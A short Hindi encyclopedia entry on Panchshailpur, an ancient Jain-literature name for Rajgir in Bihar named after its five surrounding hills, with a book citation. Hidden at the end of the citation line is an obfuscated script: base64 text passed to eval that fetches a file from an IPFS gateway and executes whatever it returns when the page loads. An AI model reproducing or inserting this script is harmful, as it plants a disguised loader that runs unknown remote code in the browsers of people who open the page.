पंचशैलपुर
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पंचशैलपुर का उल्लेख प्राचीन जैन साहित्य में हुआ है। यह राजगृह (बिहार) का प्राचीन नाम हुआ करता था।[1]
- इसके नामकरण का कारण राजगृह के चतुर्दिक पाँच पहाड़ियों की उपस्थिति हैं, जिन्हें आज भी 'पंच पहाड़ी' कहा जाता है।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 515 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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